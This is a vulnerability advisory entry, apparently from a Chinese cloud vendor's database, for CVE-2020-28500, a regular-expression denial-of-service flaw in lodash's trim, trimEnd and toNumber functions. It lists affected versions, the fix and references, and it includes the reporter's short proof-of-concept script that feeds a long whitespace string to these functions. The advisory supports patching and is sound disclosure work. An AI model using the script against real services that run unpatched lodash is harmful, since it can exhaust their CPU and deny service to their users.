lodash Regular Expression denial of service

CVE编号

CVE-2020-28500

利用情况

暂无

补丁情况

官方补丁

披露时间

2021-02-16

漏洞描述

All versions of package lodash; all versions of package org.fujion.webjars:lodash are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions. Steps to reproduce (provided by reporter Liyuan Chen): var lo = require('lodash'); function build_blank (n) { var ret = "1" for (var i = 0; i < n; i++) { ret += " " } return ret + "1"; } var s = build_blank(50000) var time0 = Date.now(); lo.trim(s) var time_cost0 = Date.now() - time0; console.log("time_cost0: " + time_cost0) var time1 = Date.now(); lo.toNumber(s) var time_cost1 = Date.now() - time1; console.log("time_cost1: " + time_cost1) var time2 = Date.now(); lo.trimEnd(s) var time_cost2 = Date.now() - time2; console.log("time_cost2: " + time_cost2)

解决建议

建议您更新当前系统或软件至最新版，完成漏洞的修复。

参考链接
https://github.com/lodash/lodash/blob/npm/trimEnd.js%23L8
https://github.com/lodash/lodash/pull/5065
https://security.netapp.com/advisory/ntap-20210312-0006/
https://snyk.io/vuln/SNYK-JAVA-ORGFUJIONWEBJARS-1074896
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARS-1074894
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWER-1074892
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSBOWERGITHUBLODASH-1074895
https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1074893
https://snyk.io/vuln/SNYK-JS-LODASH-1018905
https://www.oracle.com//security-alerts/cpujul2021.html
https://www.oracle.com/security-alerts/cpujan2022.html
https://www.oracle.com/security-alerts/cpuoct2021.html

受影响软件情况

#	类型	厂商	产品	版本	影响面
1
	运行在以下环境
	应用	lodash	lodash	*		Up to (excluding) 4.17.21
	运行在以下环境
	系统	debian_10	node-lodash	*		Up to (excluding) 4.17.11+dfsg-2+deb10u1
	运行在以下环境
	系统	debian_11	node-lodash	*		Up to (excluding) 4.17.20+dfsg+~cs8.31.172-1
	运行在以下环境
	系统	debian_9	node-lodash	*		Up to (excluding) 4.16.6+dfsg-2
	运行在以下环境
	系统	debian_sid	node-lodash	*		Up to (excluding) 4.17.20+dfsg+~cs8.31.172-1
查看完整数据

阿里云评分 3.6

• 攻击路径 远程
• 攻击复杂度 复杂
• 权限要求 无需权限
• 影响范围 有限影响
• EXP成熟度 未验证
• 补丁情况 官方补丁
• 数据保密性 无影响
• 数据完整性 传输被破坏
• 服务器危害 DoS
• 全网数量 N/A

CWE-ID 漏洞类型 NVD-CWE-Other